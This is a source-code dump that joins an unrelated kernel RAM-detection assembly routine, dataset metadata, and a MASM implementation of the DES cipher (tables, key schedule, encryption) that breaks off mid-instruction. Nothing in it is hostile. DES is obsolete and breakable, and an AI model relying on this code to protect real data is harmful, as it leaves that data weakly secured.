;############################################################################### ;# GLOBAL SYMBOLS PUBLIC KRAMINIT ;############################################################################### ;# TEXT SECTION # ;############################################################################### ;# TEXT SECTION SEGMENT ".text" ;#-----------------------------------------------------------------------------# ;# KRAMINIT() # ;#-----------------------------------------------------------------------------# KRAMINIT: ;# READ MEMORY MAP INFO MOV RSI, [R15+0x08] ;# MemoryMapBase MOV RCX, [R15+0x10] ;# MemoryMapSize ;# LOOP OVER MAP ENTRIES 1: MOV RAX, [RSI+0x00] CMP RAX, [R15+0x20] ;# MemoryMapType JNE 2f ;# SAVE REGISTERS PUSH RSI PUSH RCX ;# LOAD REGION INFORMATION MOV RDI, [RSI+0x08] ;# RDI = BASE ADDRESS MOV RCX, [RSI+0x18] ;# RCX = SIZE IN PAGES ;# PRINT MODULE NAME PUSH RDI PUSH RCX LEA RDI, [RIP+KRAMNAME] CALL KCONMOD POP RCX POP RDI ;# PRINT REGION STRING PUSH RDI PUSH RCX LEA RDI, [RIP+KRAMREGION] CALL KCONSTR POP RCX POP RDI ;# PRINT REGION START PUSH RDI PUSH RCX CALL KCONHEX POP RCX POP RDI ;# PRINT SEPARATOR PUSH RDI PUSH RCX MOV RDI, ' ' CALL KCONCHR MOV RDI, '-' CALL KCONCHR MOV RDI, '>' CALL KCONCHR MOV RDI, ' ' CALL KCONCHR POP RCX POP RDI ;# PRINT REGION END PUSH RDI PUSH RCX SHL RCX, 12 ADD RDI, RCX CALL KCONHEX POP RCX POP RDI ;# PRINT NEWLINE PUSH RDI PUSH RCX MOV RDI, '\n' CALL KCONCHR POP RCX POP RDI ;# TODO: LOOP OVER PAGES AND ;# PUT THEM IN LINKED LIST ADD [RIP+KRAMSIZE], RCX ;# RESTORE REGISTERS POP RCX POP RSI ;# NEXT ENTRY 2: ADD RSI, [R15+0x18] ;# MemoryMapDesc SUB RCX, [R15+0x18] ;# MemoryMapDesc JNZ 1b ;# PRINT RAM SIZE LEA RDI, [RIP+KRAMNAME] CALL KCONMOD LEA RDI, [RIP+KRAMTOTS] CALL KCONSTR MOV RDI, [RIP+KRAMSIZE] SHL RDI, 12 SHR RDI, 20 CALL KCONDEC MOV RDI, 'M' CALL KCONCHR MOV RDI, 'B' CALL KCONCHR MOV RDI, '\n' CALL KCONCHR ;# DONE XOR RAX, RAX RET ;############################################################################### ;# DATA SECTION # ;############################################################################### ;# DATA SECTION SEGMENT ".data" ;#-----------------------------------------------------------------------------# ;# MODULE DATA # ;#-----------------------------------------------------------------------------# ;# LINKED LIST OF FRAMES KRAMHEAD: DQ 0 KRAMSIZE: DQ 0 ;#-----------------------------------------------------------------------------# ;# LOGGING STRINGS # ;#-----------------------------------------------------------------------------# ;# RAM HEADING AND MESSAGES KRAMNAME: DB "KERNEL RAM\0" KRAMREGION: DB "DETECTED RAM REGION: \0" KRAMTOTS: DB "TOTAL RAM SIZE: \0"
TheStack
0137a97e6e3cdbda0c33432dda280000cb0f89d9
Assemblycode:Assembly
{"size": 45532, "ext": "asm", "max_stars_repo_path": "ciphers/des.asm", "max_stars_repo_name": "FloydZ/Crypto-Hash", "max_stars_repo_stars_event_min_datetime": "2015-03-17T10:31:23.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-21T17:42:43.000Z", "max_issues_repo_path": "ciphers/des.asm", "max_issues_repo_name": "0xFF1E071F/Crypto-Hash", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ciphers/des.asm", "max_forks_repo_name": "0xFF1E071F/Crypto-Hash", "max_forks_repo_forks_event_min_datetime": "2018-01-29T16:06:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-08T19:22:24.000Z"}
{"max_stars_count": 11, "max_issues_count": null, "max_forks_count": 6, "avg_line_length": 22.1459143969, "max_line_length": 90, "alphanum_fraction": 0.6825529298}
; ; DES masm source, written by drizz ; .XMM DESSetKey PROTO pKey:PTR BYTE DESSetKeyEnc PROTO pKey:PTR BYTE DESSetKeyDec PROTO pKey:PTR BYTE DESEncrypt PROTO pBlockIn:PTR BYTE,pBlockOut:PTR BYTE DESDecrypt PROTO pBlockIn:PTR BYTE,pBlockOut:PTR BYTE comment % Usage example .data align 8 key db 043h, 029h, 07fh, 0adh, 038h, 0e3h, 073h, 0feh Plaintext db 076h, 025h, 014h, 0b8h, 029h, 0bfh, 048h, 06ah Ciphertext db 0eah, 067h, 06bh, 02ch, 0b7h, 0dbh, 02bh, 07ah .code invoke DESSetKeyEnc,offset key invoke DESEncrypt,offset Plaintext,offset Plaintext invoke DESSetKeyDec,offset key invoke DESDecrypt,offset Plaintext,offset Plaintext % .data ; align 16 Spbox label dword;[8][64] dd 001010400h,000000000h,000010000h,001010404h,001010004h,000010404h,000000004h,000010000h dd 000000400h,001010400h,001010404h,000000400h,001000404h,001010004h,001000000h,000000004h dd 000000404h,001000400h,001000400h,000010400h,000010400h,001010000h,001010000h,001000404h dd 000010004h,001000004h,001000004h,000010004h,000000000h,000000404h,000010404h,001000000h dd 000010000h,001010404h,000000004h,001010000h,001010400h,001000000h,001000000h,000000400h dd 001010004h,000010000h,000010400h,001000004h,000000400h,000000004h,001000404h,000010404h dd 001010404h,000010004h,001010000h,001000404h,001000004h,000000404h,000010404h,001010400h dd 000000404h,001000400h,001000400h,000000000h,000010004h,000010400h,000000000h,001010004h dd 080108020h,080008000h,000008000h,000108020h,000100000h,000000020h,080100020h,080008020h dd 080000020h,080108020h,080108000h,080000000h,080008000h,000100000h,000000020h,080100020h dd 000108000h,000100020h,080008020h,000000000h,080000000h,000008000h,000108020h,080100000h dd 000100020h,080000020h,000000000h,000108000h,000008020h,080108000h,080100000h,000008020h dd 000000000h,000108020h,080100020h,000100000h,080008020h,080100000h,080108000h,000008000h dd 080100000h,080008000h,000000020h,080108020h,000108020h,000000020h,000008000h,080000000h dd 000008020h,080108000h,000100000h,080000020h,000100020h,080008020h,080000020h,000100020h dd 000108000h,000000000h,080008000h,000008020h,080000000h,080100020h,080108020h,000108000h dd 000000208h,008020200h,000000000h,008020008h,008000200h,000000000h,000020208h,008000200h dd 000020008h,008000008h,008000008h,000020000h,008020208h,000020008h,008020000h,000000208h dd 008000000h,000000008h,008020200h,000000200h,000020200h,008020000h,008020008h,000020208h dd 008000208h,000020200h,000020000h,008000208h,000000008h,008020208h,000000200h,008000000h dd 008020200h,008000000h,000020008h,000000208h,000020000h,008020200h,008000200h,000000000h dd 000000200h,000020008h,008020208h,008000200h,008000008h,000000200h,000000000h,008020008h dd 008000208h,000020000h,008000000h,008020208h,000000008h,000020208h,000020200h,008000008h dd 008020000h,008000208h,000000208h,008020000h,000020208h,000000008h,008020008h,000020200h dd 000802001h,000002081h,000002081h,000000080h,000802080h,000800081h,000800001h,000002001h dd 000000000h,000802000h,000802000h,000802081h,000000081h,000000000h,000800080h,000800001h dd 000000001h,000002000h,000800000h,000802001h,000000080h,000800000h,000002001h,000002080h dd 000800081h,000000001h,000002080h,000800080h,000002000h,000802080h,000802081h,000000081h dd 000800080h,000800001h,000802000h,000802081h,000000081h,000000000h,000000000h,000802000h dd 000002080h,000800080h,000800081h,000000001h,000802001h,000002081h,000002081h,000000080h dd 000802081h,000000081h,000000001h,000002000h,000800001h,000002001h,000802080h,000800081h dd 000002001h,000002080h,000800000h,000802001h,000000080h,000800000h,000002000h,000802080h dd 000000100h,002080100h,002080000h,042000100h,000080000h,000000100h,040000000h,002080000h dd 040080100h,000080000h,002000100h,040080100h,042000100h,042080000h,000080100h,040000000h dd 002000000h,040080000h,040080000h,000000000h,040000100h,042080100h,042080100h,002000100h dd 042080000h,040000100h,000000000h,042000000h,002080100h,002000000h,042000000h,000080100h dd 000080000h,042000100h,000000100h,002000000h,040000000h,002080000h,042000100h,040080100h dd 002000100h,040000000h,042080000h,002080100h,040080100h,000000100h,002000000h,042080000h dd 042080100h,000080100h,042000000h,042080100h,002080000h,000000000h,040080000h,042000000h dd 000080100h,002000100h,040000100h,000080000h,000000000h,040080000h,002080100h,040000100h dd 020000010h,020400000h,000004000h,020404010h,020400000h,000000010h,020404010h,000400000h dd 020004000h,000404010h,000400000h,020000010h,000400010h,020004000h,020000000h,000004010h dd 000000000h,000400010h,020004010h,000004000h,000404000h,020004010h,000000010h,020400010h dd 020400010h,000000000h,000404010h,020404000h,000004010h,000404000h,020404000h,020000000h dd 020004000h,000000010h,020400010h,000404000h,020404010h,000400000h,000004010h,020000010h dd 000400000h,020004000h,020000000h,000004010h,020000010h,020404010h,000404000h,020400000h dd 000404010h,020404000h,000000000h,020400010h,000000010h,000004000h,020400000h,000404010h dd 000004000h,000400010h,020004010h,000000000h,020404000h,020000000h,000400010h,020004010h dd 000200000h,004200002h,004000802h,000000000h,000000800h,004000802h,000200802h,004200800h dd 004200802h,000200000h,000000000h,004000002h,000000002h,004000000h,004200002h,000000802h dd 004000800h,000200802h,000200002h,004000800h,004000002h,004200000h,004200800h,000200002h dd 004200000h,000000800h,000000802h,004200802h,000200800h,000000002h,004000000h,000200800h dd 004000000h,000200800h,000200000h,004000802h,004000802h,004200002h,004200002h,000000002h dd 000200002h,004000000h,004000800h,000200000h,004200800h,000000802h,000200802h,004200800h dd 000000802h,004000002h,004200802h,004200000h,000200800h,000000000h,000000002h,004200802h dd 000000000h,000200802h,004200000h,000000800h,004000002h,004000800h,000000800h,000200002h dd 010001040h,000001000h,000040000h,010041040h,010000000h,010001040h,000000040h,010000000h dd 000040040h,010040000h,010041040h,000041000h,010041000h,000041040h,000001000h,000000040h dd 010040000h,010000040h,010001000h,000001040h,000041000h,000040040h,010040040h,010041000h dd 000001040h,000000000h,000000000h,010040040h,010000040h,010001000h,000041040h,000040000h dd 000041040h,000040000h,010041000h,000001000h,000000040h,010040040h,000001000h,000041040h dd 010001000h,000000040h,010000040h,010040000h,010040040h,010000000h,000040000h,010001040h dd 000000000h,010041040h,000040040h,010000040h,010040000h,010001000h,010001040h,000000000h dd 010041040h,000041000h,000041000h,000001040h,000001040h,000040040h,010000000h,010041000h .data? ;align 16 KeyTab dd (16*8)/4 dup(?) .code ;align 16 DESSetKeyEnc proc pKey:PTR BYTE lea eax,KeyTab xi = 0 rept 8 %pxor mm&@CatStr(%xi),mm&@CatStr(%xi) ;xi = xi + 1 xi = (xi + 1) and 7 endm ;xi = 0 rept 8 %movq [eax+xi*8],mm&@CatStr(%xi) xi = xi + 1 endm rept 8 %movq [eax+xi*8],mm&@CatStr(%(xi-8)) xi = xi + 1 endm invoke DESSetKey,pKey ret DESSetKeyEnc endp ;align 16 DESSetKeyDec proc pKey:PTR BYTE invoke DESSetKey,pKey ; reverse key schedule order lea eax,KeyTab comment # xi = 0 for yi,<00,01,02,03,15,14,13,12> %movq mm&@CatStr(%xi),[eax+yi*8] xi = (xi + 1) and 7 endm for yi,<15,14,13,12,00,01,02,03> %movq [eax+yi*8],mm&@CatStr(%xi) xi = (xi + 1) and 7 endm for yi,<04,05,06,07,11,10,09,08> %movq mm&@CatStr(%xi),[eax+yi*8] xi = (xi + 1) and 7 endm for yi,<11,10,09,08,04,05,06,07> %movq [eax+yi*8],mm&@CatStr(%xi) xi = (xi + 1) and 7 endm # movq mm0,[eax+0*8] movq mm1,[eax+1*8] movq mm2,[eax+2*8] movq mm3,[eax+3*8] movq mm4,[eax+15*8] movq mm5,[eax+14*8] movq mm6,[eax+13*8] movq mm7,[eax+12*8] movq [eax+15*8],mm0 movq [eax+14*8],mm1 movq [eax+13*8],mm2 movq [eax+12*8],mm3 movq [eax+0*8],mm4 movq [eax+1*8],mm5 movq [eax+2*8],mm6 movq [eax+3*8],mm7 movq mm0,[eax+4*8] movq mm1,[eax+5*8] movq mm2,[eax+6*8] movq mm3,[eax+7*8] movq mm4,[eax+11*8] movq mm5,[eax+10*8] movq mm6,[eax+9*8] movq mm7,[eax+8*8] movq [eax+11*8],mm0 movq [eax+10*8],mm1 movq [eax+9*8],mm2 movq [eax+8*8],mm3 movq [eax+4*8],mm4 movq [eax+5*8],mm5 movq [eax+6*8],mm6 movq [eax+7*8],mm7 ret DESSetKeyDec endp ROTL macro X,N if N le 16 rol X,(N) else ror X,32-(N) endif endm ROTR macro X,N if N le 16 ror X,(N) else rol X,32-(N) endif endm IPERM1 macro ww,ll,rr,cc,cc2 mov ww,ll xor ww,rr and ww,cc xor ll,ww xor rr,ww ROTR rr,cc2 endm FPERM1 macro ww,ll,rr,cc,cc2 mov ww,ll xor ww,rr and ww,cc xor ll,ww xor rr,ww ROTR ll,cc2 endm IPERM macro left,right local work work textequ <ecx> rol right,4 IPERM1 work,left,right,11110000111100001111000011110000b,20 IPERM1 work,left,right,11111111111111110000000000000000b,18 IPERM1 work,left,right,00110011001100110011001100110011b,6 IPERM1 work,left,right,00000000111111110000000011111111b,32-9 FPERM1 work,left,right,10101010101010101010101010101010b,32-1 endm FPERM macro left,right local work; work textequ <ecx> ror right,1; FPERM1 work,left,right,10101010101010101010101010101010b,9 FPERM1 work,left,right,00000000111111110000000011111111b,32-6 FPERM1 work,left,right,00110011001100110011001100110011b,32-18 FPERM1 work,left,right,11111111111111110000000000000000b,32-20 FPERM1 work,left,right,11110000111100001111000011110000b,4 endm ;align 16 OPTION PROLOGUE:NONE OPTION EPILOGUE:NONE DESDecrypt proc pBlockIn:PTR BYTE,pBlockOut:PTR BYTE DESDecrypt endp DESEncrypt proc pBlockIn:PTR BYTE,pBlockOut:PTR BYTE mov ecx,[esp][1*4];pBlockIn push ebp push esi push edi push ebx l equ <eax> r equ <edx> mov l,[ecx][0] mov r,[ecx][4] bswap l bswap r IPERM l,r xi = 0 repeat 8 mov ebx,r ror ebx,4 xor ebx,[KeyTab+xi*4*4+0*4] and ebx,00111111001111110011111100111111b movzx edi,bl movzx esi,bh shr ebx,16 movzx ecx,bl movzx ebx,bh xor l,Spbox[6*64*4][edi*4] xor l,Spbox[4*64*4][esi*4] xor l,Spbox[2*64*4][ecx*4] xor l,Spbox[0*64*4][ebx*4] mov ebx,r xor ebx,[KeyTab+xi*4*4+1*4] and ebx,00111111001111110011111100111111b movzx edi,bl movzx esi,bh shr ebx,16 movzx ecx,bl movzx ebx,bh xor l,Spbox[7*64*4][edi*4] xor l,Spbox[5*64*4][esi*4] xor l,Spbox[3*64*4][ecx*4] xor l,Spbox[1*64*4][ebx*4] mov ebx,l ror ebx,4 xor ebx,[KeyTab+xi*4*4+2*4] and ebx,00111111001111110011111100111111b movzx edi,bl movzx esi,bh shr ebx,16 movzx ecx,bl movzx ebx,bh xor r,Spbox[6*64*4][edi*4] xor r,Spbox[4*64*4][esi*4] xor r,Spbox[2*64*4][ecx*4] xor r,Spbox[0*64*4][ebx*4] mov ebx,l xor ebx,[KeyTab+xi*4*4+3*4] and ebx,00111111001111110011111100111111b movzx edi,bl movzx esi,bh shr ebx,16 movzx ecx,bl movzx ebx,bh xor r,Spbox[7*64*4][edi*4] xor r,Spbox[5*64*4][esi*4] xor r,Spbox[3*64*4][ecx*4] xor r,Spbox[1*64*4][ebx*4] xi = xi + 1 endm FPERM l,r mov ecx,[esp][2*4][4*4];pBlockOut bswap l bswap r mov [ecx][0],r mov [ecx][4],l pop ebx pop edi pop esi pop ebp ret 1*4 DESEncrypt endp ;align 16 DESSetKey proc pKey:PTR BYTE mov eax,[esp][1*4] mov ecx,[eax][0] mov edx,[eax][4] bswap ecx bswap edx push ebp push esi push edi push ebx lea edi,KeyTab test edx,000000002h jz @F mov eax,000000004h mov ebx,000000100h mov esi,000000001h mov ebp,000000800h or [edi][0*8][0],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000000010h mov ebx,000000200h mov esi,000000400h mov ebp,000000010h or [edi][4*8][0],eax or [edi][5*8][0],ebx or [edi][6*8][4],esi or [edi][8*8][4],ebp mov eax,000001000h mov ebx,000000004h mov esi,000000002h mov ebp,000000001h or [edi][9*8][4],eax or [edi][11*8][4],ebx or [edi][12*8][0],esi or [edi][13*8][4],ebp mov eax,000002000h mov ebx,000000002h or [edi][14*8][4],eax or [edi][15*8][4],ebx @@: test edx,000000004h jz @F mov eax,000000004h mov ebx,000000200h mov esi,000000800h mov ebp,000000002h or [edi][0*8][4],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,000000100h mov ebx,000000001h mov esi,000000800h mov ebp,000000008h or [edi][5*8][0],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][4],ebp mov eax,000000100h mov ebx,000000020h mov esi,000000020h mov ebp,000000010h or [edi][9*8][4],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000001000h mov ebx,000000400h or [edi][13*8][4],eax or [edi][15*8][0],ebx @@: test edx,000000008h jz @F mov eax,000000020h mov ebx,000002000h mov esi,000000008h mov ebp,000000400h or [edi][0*8][0],eax or [edi][2*8][0],ebx or [edi][3*8][0],esi or [edi][4*8][0],ebp mov eax,000000200h mov ebx,000000800h mov esi,000002000h mov ebp,000000004h or [edi][6*8][4],eax or [edi][7*8][0],ebx or [edi][8*8][4],esi or [edi][9*8][0],ebp mov eax,000001000h mov ebx,000000008h mov esi,000000100h mov ebp,000000020h or [edi][11*8][0],eax or [edi][12*8][4],ebx or [edi][13*8][4],esi or [edi][14*8][4],ebp mov eax,000000400h or [edi][15*8][4],eax @@: test edx,000000010h jz @F mov eax,004000000h mov ebx,000200000h mov esi,002000000h mov ebp,000100000h or [edi][0*8][0],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,010000000h mov ebx,008000000h mov esi,000020000h mov ebp,008000000h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][6*8][4],esi or [edi][7*8][0],ebp mov eax,001000000h mov ebx,000010000h mov esi,004000000h mov ebp,000040000h or [edi][8*8][4],eax or [edi][9*8][0],ebx or [edi][10*8][4],esi or [edi][11*8][0],ebp mov eax,000010000h mov ebx,010000000h mov esi,000020000h or [edi][12*8][4],eax or [edi][13*8][4],ebx or [edi][14*8][0],esi @@: test edx,000000020h jz @F mov eax,000200000h mov ebx,008000000h mov esi,000020000h mov ebp,008000000h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,000100000h mov ebx,001000000h mov esi,020000000h mov ebp,000010000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][4],ebp mov eax,010000000h mov ebx,000020000h mov esi,004000000h mov ebp,000040000h or [edi][9*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][0],esi or [edi][13*8][4],ebp mov eax,010000000h or [edi][15*8][0],eax @@: test edx,000000040h jz @F mov eax,000010000h mov ebx,000100000h mov esi,001000000h mov ebp,020000000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,002000000h mov ebx,000080000h mov esi,000200000h mov ebp,000040000h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][7*8][0],esi or [edi][9*8][4],ebp mov eax,000200000h mov ebx,020000000h mov esi,000080000h mov ebp,001000000h or [edi][11*8][4],eax or [edi][12*8][0],ebx or [edi][13*8][0],esi or [edi][14*8][4],ebp @@: test edx,000000080h jz @F mov eax,010000000h mov ebx,000080000h mov esi,000200000h mov ebp,002000000h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,000100000h mov ebx,010000000h mov esi,008000000h mov ebp,020000000h or [edi][5*8][0],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,000080000h mov ebx,001000000h mov esi,000010000h mov ebp,004000000h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000040000h mov ebx,000010000h mov esi,002000000h or [edi][13*8][0],eax or [edi][14*8][4],ebx or [edi][15*8][0],esi @@: test edx,000000200h jz @F mov eax,000000002h mov ebx,000000004h mov esi,000001000h mov ebp,000000008h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,000000100h mov ebx,000000020h mov esi,000000020h mov ebp,000002000h or [edi][5*8][4],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][9*8][0],ebp mov eax,000000008h mov ebx,000000400h mov esi,000000200h mov ebp,000000800h or [edi][10*8][0],eax or [edi][11*8][0],ebx or [edi][13*8][4],esi or [edi][14*8][0],ebp mov eax,000002000h or [edi][15*8][4],eax @@: test edx,000000400h jz @F mov eax,000000400h mov ebx,000000004h mov esi,000000002h mov ebp,000000001h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000002000h mov ebx,000000004h mov esi,000001000h mov ebp,000000800h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,000000010h mov ebx,000000200h mov esi,000000400h mov ebp,000002000h or [edi][9*8][0],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][13*8][0],ebp mov eax,000000008h or [edi][14*8][0],eax @@: test edx,000000800h jz @F mov eax,000000400h mov ebx,000000020h mov esi,000000010h mov ebp,000001000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][4],ebp mov eax,000000004h mov ebx,000000002h mov esi,000000001h mov ebp,000000800h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,000000002h mov ebx,000000100h mov esi,000000001h mov ebp,000000800h or [edi][9*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000000010h mov ebx,000000200h mov esi,000000020h or [edi][13*8][0],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test edx,000001000h jz @F mov eax,004000000h mov ebx,000040000h mov esi,000200000h mov ebp,020000000h or [edi][1*8][0],eax or [edi][3*8][4],ebx or [edi][5*8][4],esi or [edi][6*8][0],ebp mov eax,000080000h mov ebx,008000000h mov esi,000100000h mov ebp,001000000h or [edi][7*8][0],eax or [edi][8*8][0],ebx or [edi][10*8][4],esi or [edi][11*8][0],ebp mov eax,020000000h mov ebx,002000000h mov esi,000080000h mov ebp,000020000h or [edi][12*8][4],eax or [edi][13*8][0],ebx or [edi][14*8][4],esi or [edi][15*8][0],ebp @@: test edx,000002000h jz @F mov eax,010000000h mov ebx,000200000h mov esi,020000000h mov ebp,000080000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][0],ebp mov eax,001000000h mov ebx,000010000h mov esi,004000000h mov ebp,000040000h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][6*8][4],esi or [edi][7*8][0],ebp mov eax,020000000h mov ebx,002000000h mov esi,000080000h mov ebp,000200000h or [edi][8*8][4],eax or [edi][9*8][0],ebx or [edi][10*8][4],esi or [edi][12*8][0],ebp mov eax,002000000h mov ebx,000100000h or [edi][13*8][4],eax or [edi][14*8][0],ebx @@: test edx,000004000h jz @F mov eax,000010000h mov ebx,004000000h mov esi,000040000h mov ebp,000010000h or [edi][1*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,010000000h mov ebx,000020000h mov esi,004000000h mov ebp,000200000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][0],esi or [edi][8*8][0],ebp mov eax,002000000h mov ebx,000100000h mov esi,010000000h mov ebp,008000000h or [edi][9*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000020000h mov ebx,008000000h mov esi,001000000h or [edi][13*8][4],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test edx,000008000h jz @F mov eax,002000000h mov ebx,010000000h mov esi,000020000h mov ebp,004000000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][0],ebp mov eax,000040000h mov ebx,000200000h mov esi,008000000h mov ebp,000020000h or [edi][5*8][4],eax or [edi][7*8][4],ebx or [edi][8*8][4],esi or [edi][9*8][4],ebp mov eax,008000000h mov ebx,000100000h mov esi,001000000h mov ebp,020000000h or [edi][10*8][0],eax or [edi][12*8][4],ebx or [edi][13*8][0],esi or [edi][14*8][4],ebp mov eax,000010000h or [edi][15*8][4],eax @@: test edx,000020000h jz @F mov eax,000002000h mov ebx,000000002h mov esi,000000100h mov ebp,000000001h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][0],ebp mov eax,000000800h mov ebx,000000010h mov esi,000000200h mov ebp,000000400h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][6*8][0],esi or [edi][7*8][4],ebp mov eax,000000020h mov ebx,000000010h mov esi,000001000h mov ebp,000000004h or [edi][8*8][0],eax or [edi][9*8][4],ebx or [edi][10*8][4],esi or [edi][12*8][4],ebp mov eax,000000002h mov ebx,000000001h mov esi,000000800h or [edi][13*8][0],eax or [edi][14*8][4],ebx or [edi][15*8][0],esi @@: test edx,000040000h jz @F mov eax,000000400h mov ebx,000000200h mov esi,000000800h mov ebp,000000002h or [edi][1*8][0],eax or [edi][3*8][4],ebx or [edi][4*8][0],esi or [edi][5*8][4],ebp mov eax,000000100h mov ebx,000000001h mov esi,000001000h mov ebp,000000008h or [edi][6*8][0],eax or [edi][7*8][0],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,000000100h mov ebx,000000020h mov esi,000000020h mov ebp,000000010h or [edi][10*8][4],eax or [edi][11*8][4],ebx or [edi][12*8][0],esi or [edi][13*8][4],ebp mov eax,000001000h mov ebx,000000008h or [edi][14*8][4],eax or [edi][15*8][0],ebx @@: test edx,000080000h jz @F mov eax,000000020h mov ebx,000000400h mov esi,000002000h mov ebp,000000008h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][0],ebp mov eax,000000400h mov ebx,000000200h mov esi,000000001h mov ebp,000002000h or [edi][5*8][0],eax or [edi][7*8][4],ebx or [edi][8*8][4],esi or [edi][9*8][4],ebp mov eax,000000004h mov ebx,000001000h mov esi,000000008h mov ebp,000000100h or [edi][10*8][0],eax or [edi][12*8][0],ebx or [edi][13*8][4],esi or [edi][14*8][4],ebp mov eax,000000200h or [edi][15*8][0],eax @@: test edx,000100000h jz @F mov eax,000020000h mov ebx,000200000h mov esi,002000000h mov ebp,000100000h or [edi][0*8][0],eax or [edi][2*8][0],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,010000000h mov ebx,008000000h mov esi,000020000h mov ebp,000080000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,001000000h mov ebx,000010000h mov esi,004000000h mov ebp,000040000h or [edi][9*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,000010000h mov ebx,010000000h mov esi,000080000h or [edi][13*8][4],eax or [edi][14*8][4],ebx or [edi][15*8][4],esi @@: test edx,000200000h jz @F mov eax,010000000h mov ebx,008000000h mov esi,000020000h mov ebp,008000000h or [edi][1*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,000100000h mov ebx,001000000h mov esi,000040000h mov ebp,000010000h or [edi][6*8][4],eax or [edi][7*8][0],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,010000000h mov ebx,000020000h mov esi,004000000h mov ebp,000040000h or [edi][10*8][4],eax or [edi][11*8][0],ebx or [edi][12*8][0],esi or [edi][14*8][4],ebp mov eax,000100000h or [edi][15*8][0],eax @@: test edx,000400000h jz @F mov eax,001000000h mov ebx,000100000h mov esi,001000000h mov ebp,020000000h or [edi][0*8][4],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,002000000h mov ebx,000080000h mov esi,004000000h mov ebp,000040000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][8*8][0],esi or [edi][10*8][4],ebp mov eax,000200000h mov ebx,020000000h mov esi,000080000h mov ebp,008000000h or [edi][12*8][4],eax or [edi][13*8][0],ebx or [edi][14*8][0],esi or [edi][15*8][0],ebp @@: test edx,000800000h jz @F mov eax,000010000h mov ebx,002000000h mov esi,000080000h mov ebp,000200000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][4*8][0],ebp mov eax,002000000h mov ebx,000100000h mov esi,010000000h mov ebp,000200000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,020000000h mov ebx,000080000h mov esi,001000000h mov ebp,000010000h or [edi][9*8][0],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,004000000h mov ebx,000040000h mov esi,020000000h or [edi][13*8][4],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test edx,002000000h jz @F mov eax,000000800h mov ebx,000002000h mov esi,000000004h mov ebp,000001000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][4*8][0],ebp mov eax,000000008h mov ebx,000000100h mov esi,000000020h mov ebp,000000400h or [edi][5*8][4],eax or [edi][6*8][4],ebx or [edi][7*8][4],esi or [edi][8*8][4],ebp mov eax,000002000h mov ebx,000000008h mov esi,000000400h mov ebp,000000200h or [edi][10*8][0],eax or [edi][11*8][0],ebx or [edi][12*8][0],esi or [edi][14*8][4],ebp mov eax,000000001h or [edi][15*8][4],eax @@: test 